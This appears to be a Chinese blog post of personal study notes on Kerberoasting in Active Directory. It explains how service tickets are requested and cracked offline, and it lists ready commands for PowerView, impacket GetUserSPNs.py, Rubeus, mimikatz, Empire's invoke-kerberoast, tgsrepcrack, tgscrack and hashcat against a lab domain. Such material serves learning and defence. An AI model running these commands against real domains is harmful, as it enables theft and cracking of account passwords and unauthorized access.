kerberoasting攻击

原理

1. 攻击者通过提供一个正常的域用户密码进行身份认证。KDC再验证账户和密码的有效性后,返回一个TGT。用于ST请求

2.攻击者使用获取到的TGT请求针对制定SPN的ST。请求票据的TGS-REQ过程中,指定其支持的加密类型为RC4_HMAC_MD5(ARCFOUR-HMAC-MD5),因为加密算法相比其他加密算法比较好破解

3.攻击者的TGT是有效的,不挂提供的域账户有无访问该SPN服务的权限,KDC都会查找哪个账户在service的principalname、属性中注册了所请求的SPN,用该用户的hash以及加密算法加密ST并在TGS-REP包中返回给攻击者

4.攻击者从TGS-REP提取加密的ST。该ST是用链接到请求的SPN的账户hash加密,所以可以本地离线破解

tips:kerberoasting攻击只针对注册在用户下的SPN服务,因为及其账户的密码是随机生成的128字符,不可能爆破出来

思路

1.查询域内注册于域用户下的spn

2.请求指定SPN的ST

3.导出ST

4.对ST进行本地的爆破

攻击手法

SPN发现

1.riskySPN

是一个powershell脚本集合,专注与监测SPN相关账户是否滥用,

自动识别弱密码服务票据,根据用户账户和密码过期时间来查找最容易包含弱密码的票据

import-module .\Find-PotentiallyCrackableAccounts.ps1;

Find-PotentiallyCrackableAccounts -FullData

2.GetUserSPNs

该脚本会查询域内所有注册于用户下的SPN,包括注册于krbtgt下的kadmin/changepw。集中有powershell和vbs两种语言的脚本

#VBS的用法

cscript .\GetUserSPNs.vbs

#powershell的用法

import-Module .\GetUserSPNs.ps1

3.PowerView.ps1

该脚本是powersploit的recon目录下,用于过滤出与用户下注册了SPN的用户,包含krbtgt

import-Module .\PowerView.ps1

Get-NetUser -SPN

请求服务票据

过滤出SPN后,需要请求SPN的票据

1.impacket请求

impacket的GetUserSPNs.py可以请求注册于所有SPN的服务票据

#请求注册于用户下的所有SPN的服务票据,并利用hashcat破解的格式为TXT文件

python GetUserSPNs.py  -request -dc-ip 10.211.55.4 xie.com/hack:pass1234 -outputfile hash.txt 

#请求注册于hack下的所有SPN的服务票据,并利用hashcat破解的格式为TXT文件

Pytho GetUserSPNs.py -request -dc-ip 10.211.55.4 xie.com/hack:pass1234 -outputfile hash.txt -request-user hack

输出

servicepincipalname  name  ...

sqlserver/win7.xie.com:1433/mssql hack

2.rebues请求

rebueus中的kerberoast支持对所有用户或特定用户执行kerberoasting操作,它的原理在于先用ldap查询域内所有注册在域用户下的SPN(除了kadmin/changepw),通过发送TGS包,直接输出能使用John或hashcat爆破的hash。

#请求注册于用户下的所有SPN的服务票据,并利用john破解的格式为TXT文件

rubeus.exe kerberoast /format:john /outfile:hash.txt

#请求注册于用户下的指定SPN的服务票据,并利用john破解的格式为TXT文件

rubeus.exe kerberoast /spn:sqlserver/win7.xie.com:1433/mssql  /format:john /outfile:hash.txt

3.mimikatz请求

请求的票据将存放在内存中

#请求指定SPN的服务票据

kerberos::ask/target:sqlserver/win7.xie.com:1433/mssql

导出服务票据

有的工具可以直接将票据打印出来保存为文件,而有的工具会将票据保存在内存中。

对于保存在内存中的票据可以使用工具将其从内存中导出

1.查看内存的票据

首先查看内存中的票据

#cmd窗口

klist

#mimikatz窗口
kerberos::list

2.使用mimikatz导出内存票据

mimikatz.exe "kerberos::list /export" "exit"

mimikatz同目录会导出有一个kribi的票据文件

3.使用帝国empire导出票据

empire下的invoke-kerberoast.ps1将内存中的票据以hashcat或john方式输出。

import-module .\invoke-kerberoast.ps1

invoke-kerberoast -outputformat hashcat

离线破解服务票据

通过前面获得的.kirbi,hashcat,john直接破解的文件

1.kerberoast

该工具的tgsrepcrack.py脚本可以对mimikatz导出的.kirbi格式票据进行爆破

python2 tgsrepcrack.py pass.txt hack@sqlserver-win7.xie.com~1433~mssql-xie.com.kirbi

输出found password for ticket 0:p@ss1234 file: hack@sqlserver-win7.xie.com~1433~mssql-xie.com.kirbi

2.tgscrack

现将.kirbi转换成该工具的破解格式,通过go语言脚本指定密码文件进行爆破。

pytnon2 extractServiceTicketParts.py hack@sqlserver-win7.xie.com!1433!mssql-xie.com.kirbi >hash.txt

go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

3.hashcat

hashcat -m 13100 hash.txt pass.txt --force

个人认为比较主流的方式 powerview.ps获取SPN -- impacket/rebues.exe/mimikatz获取服务票据 -- mimikatz导出、empire导出票据 --hashcat爆破密码

需要注意的是其他的实用工具 也要了解 kerberoast的tgsrepcrack.py和tgscrack工具

posted @ 2023-08-11 22:29  lisenMiller  阅读(139)  评论(0编辑  收藏  举报